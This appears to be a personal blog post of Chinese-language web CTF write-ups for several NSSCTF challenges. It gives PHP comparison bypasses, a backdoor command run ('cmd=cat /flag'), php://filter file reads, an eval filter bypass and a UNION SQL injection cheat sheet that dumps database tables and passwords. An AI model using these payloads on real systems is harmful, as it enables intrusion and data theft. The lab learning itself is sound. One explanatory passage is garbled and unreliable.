web从零开始day3

luyanpei

[NSSCTF 2022 Spring Recruit]babyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>

有三层判断

第一层

1
isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])

(1)isset($_POST[‘a’]) 检查是否存在名为a的POST参数,有就返回1

(2)!preg_match(‘/[0-9]/‘,$_POST[‘a’]) 检查$_POST[‘a’]的值是否含有0-9的数字,有就返回0

(3)intval($_POST[‘a’]) 将$_POST[‘a’]的值转换为整数,若转换成功就返回转换后的整数
(2)(3)说明a里面不可以含有数字

考虑用数组绕过

1
a[]=a

image-20250709095559626

出现go on说明第一层成功绕过

第二层

1
2
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){

检测传入b1和b2,并且b1 b2的值不同但是md5相同,也可以用数组去绕过

1
b1[]=1&b2[]=2

image-20250709095932960

第二层也绕过

第三层

1
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))

检测传入c1,c2。判断传入是否为字符串,然后比较md5值是否相等

利用md5 0e绕过

1
c1=s878926199a&c2=QNKCDZO

md5之后都是0e开头会识别为科学计数法

image-20250709100338750

[LitCTF 2023]Vim yyds

提示是vim泄露

在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
  以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
  再次意外退出后,将会产生名为 .index.php.swo 的交换文件
  第三次产生的交换文件则为 .index.php.swn

dirsearch扫一下

image-20250709101021721

访问

1
http://node4.anna.nssctf.cn:28093/.index.php.swp

可以把源码下载下来

使用vim恢复它

1
vim -r 文件名

恢复出来之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<body>
<main>
<div class="vim">
<img src="https://www.bing.com/th?id=OSAAS.7B95FA2D97CE022F5E7949F60E350A25&pid=TechQna"></img>
<h1 class="vim_yyds">
Vim yyds
</h1>
</div>
<h3 class="vim_said">
队里师傅说Vim是世界上最好的编辑器,不接受反驳
</h3>
<div class="can_can_vim">
<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
echo "<p>Oh You got my password!</p>";
eval(system($_POST['cmd']));
}
?>
</div>
</main>
</body>

只要传入password为Give_Me_Your_Flag的base64的值就可以进行命令执行

1
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=ls

image-20250709101650462

在根目录找到flag

1
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

[鹤城杯 2021]EasyP

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include 'utils.php';

if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>

存在几个未见过的东西

**$_SERVER[‘PHP_SELF’]**这个是你调用的脚本的路径,比如说这个题目它的值就是/index.php

如果你访问的是http://1.14.71.254:28189/index.php/utils.php,那么它的值就会是/index.php/utils.php

$_SERVER[‘REQUEST_URI’]

它的值这个时候和$_SERVER[‘PHP_SELF’]的值是一样的,

区别在于,如果你用get传参的时候$_SEVER[‘REQUEST_URL’]是会加上那个参数的,而$_SERVER[‘PHP_SELF’]不会。

basename

返回路径中的文件名部分,这个函数有一个可以利用的地方就是,如果传入的参数中出现了非ascii字符则会把它给丢弃。

然后就是绕过正则

1
2
3
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
1
2
3
4
5
6
7
8
 [

(空格)

\+  

.
这几个字符都会被处理成_(下划线),也就是可以写/show source/
1
2
3
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

这个正则是匹配末尾是否有/utils.php

绕过办法很简单

因为后面要调用basename,所以可以利用中文来绕过,中文不属于ascii编码中的,所以可以payload

1
http://node4.anna.nssctf.cn:28660/index.php/utils.php/中文?show[source=1

/index.php/utils.php/%a0?show+source=1。这个 URL 的工作原理如下:

/index.php/utils.php/%a0: 在 PHP 中,/index.php/utils.php/%a0 被解析为一个路径信息(Path Info),并被设置为 $_SERVER[‘PATH_INFO’] 变量的值。然后,这个路径信息会被添加到 $_SERVER[‘PHP_SELF’] 中,即 $_SERVER[‘PHP_SELF’] = ‘/index.php/utils.php/%a0’。

%a0 是 URL 编码中的一个特殊字符,代表一个非打印字符(No-Break Space)。在 PHP 中,非打印字符通常会被忽略。所以,/utils.php/%a0 实际上被 PHP 解析为 /utils.php/。

然后,当 PHP 执行 highlight_file(basename(SERVER[′PHPSELF′]))这段代码时,basename(SERV**ER[′PHPSELF′]))这段代码时,basenam**e(_SERVER[‘PHP_SELF’]) 会返回 utils.php,因为 basename() 函数返回路径中的最后一部分,也就是文件名。所以,/index.php/utils.php/%a0 最终被解析为 /utils.php。

?show+source=1: 这个部分是 URL 的查询字符串(Query String)。show+source=1 被解析为一个 GET 参数,设置 GET[′showsource′]为1。这会触发highlightfile(basename(G**ET[′showsource′]为1。这会触发highlightfil**e(basenam**e(_SERVER[‘PHP_SELF’])) 这段代码,高亮显示 $_SERVER[‘PHP_SELF’] 对应的文件的源代码。

为什么要用 show+source 代替 show_source?

在 URL 编码中,加号(+)是一个特殊字符,代表一个空格。所以,show+source 在 URL 中实际上代表 show source。

当 PHP 解析 URL 中的查询字符串(query string)时,它会将加号(+)解析为一个空格。所以,show+source 会被 PHP 解析为 show source。然后,PHP 会将这个字符串转换为一个变量名,去掉空格,所以 show source 被转换为 show_source。

这就是为什么 show+source 会被解析为 show_source 的原因。

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}

else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php

substr($_GET[“file”], 0, 3) === “php”
是一个对 $_GET[“file”] 参数值进行前缀判断 的条件
该条件判断是否满足:

用户通过 GET 提交的参数 file,其开头前三个字符是 “php”

例子:
?file=phpinfo ✅ (前3个字符为 php,通过判断)

?file=php://filter ✅

?file=PHPaaa ❌(区分大小写)

?file=html ❌

payload

1
/?file=php://filter/read=convert.base64-encode/resource=flag

得到

1
2
3
4
5
6
7
8
9
6'<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");


echo "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_ '/flag' "."<br/>";
echo "换个思路,试试PHP伪协议呢";

1
http://node5.anna.nssctf.cn:24645/?file=php://filter/read=convert.base64-encode/resource=/flag

[HUBUCTF 2022 新生赛]checkin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";

}
?>

反序列化和弱类型比较,isset判断info参数不为空

设置一个数组把username和password都设置为该有的变量,然后再将改数组序列化

但是该做法不可以,注意到有注释,在那里更改了两个的值,但是在下面用的==,可以考虑弱比较绕过

if语句中使用双等号判断,可以想到使用弱比较

字符串在和数字比较的时候会将字符串转化为数字,当字符串开头没有数字时,则转化失败为false

于是猜想username和password改变后开头仍没有数字,那么数组里的值我们直接设置为0:

或者直接设置为true

两种做法

1
2
3
4
5
6
7
$info = array(
'username'=>0,
'password'=>0
);
$serialized_data = serialize($info);
echo $serialized_data . PHP_EOL;

1
2
3
4
5
6
7
$info = array(
'username'=>true,
'password'=>true
);
$serialized_data = serialize($info);
echo $serialized_data . PHP_EOL;

参考[HUBUCTF 2022 新生赛]checkin-CSDN博客

[GDOUCTF 2023]泄露的伪装

dirsearch扫描得到

orzorz.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
if(isset($_GET['cxk'])){
$cxk=$_GET['cxk'];
if(file_get_contents($cxk)=="ctrl"){
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "nononoononoonono";
}
?>

data伪协议数据流封装

1
http://node5.anna.nssctf.cn:23889/orzorz.php?cxk=data://text/plain,ctrl

data://text/plain,(将逗号后的字符串)将一段字符串当作“虚拟文件”内容返回

[UUCTF 2022 新生赛]ez_rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
居然都不输入参数,可恶!!!!!!!!!

<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}

题目过滤了很多东西,没有过滤反引号和\

但是这道题应该还有很多种方法可以做,我们可以找找关于PHP的输出函数,比如说var_dump,printf_r函数都是可以代替echo的。

print_r:

1
http://node5.anna.nssctf.cn:21488/?code=printf(`l\s /`);

eval把传入的当作php代码执行

[LitCTF 2023]这是什么?SQL !注一下 !

联合注入,套公式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
闭合符号变形一下,以及表名库名啥的,套公式
?id=1’ order by 3–+
判断字段

?id=-1’ union select 1,2,3–+
判断注入点

?id=-1’ union select 1,2,database()–+
查看当前数据库

?id=-1’ union select 1,2,schema_name from information_schema.schemate–+
查看所有数据库

?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_shema=‘test’–+
查看数据库test下的所有表

?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_shema=‘test’ and table_name=‘user’–+
查看数据库test下user表中的所有字段

?id=-1’ union select 1,2,group_concat(passwd) from test.user–+
查看数据库test下user表中passwd字段中的内容
  • Title: web从零开始day3
  • Author: luyanpei
  • Created at : 2025-07-09 00:00:00
  • Updated at : 2025-07-10 10:25:49
  • Link: https://redefine.ohevan.com/posts/20483.html
  • License: All Rights Reserved © luyanpei